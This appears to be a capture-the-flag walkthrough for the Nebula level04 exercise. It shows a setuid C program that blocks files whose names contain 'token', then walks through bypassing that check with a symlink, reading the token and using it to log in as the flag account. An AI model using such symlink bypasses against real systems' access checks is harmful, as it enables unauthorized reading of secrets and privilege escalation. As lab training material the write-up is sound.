This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

The only check this program does seems to be by filename. If the filename contains the string token, it will not let us read it.

level04@nebula:~$ /home/flag04/flag04 /home/flag04/token
You may not access '/home/flag04/token'

Let’s work around this with a symlink:

level04@nebula:~$ ln -s /home/flag04/token ~/nekot
level04@nebula:~$ /home/flag04/flag04 ~/nekot
06508b5e-8909-4f38-b630-fdb148a848a2

Let’s try to use the token to become the flag04 user!

level04@nebula:~$ su - flag04
Password:
flag04@nebula:~$ getflag
You have successfully executed getflag on a target account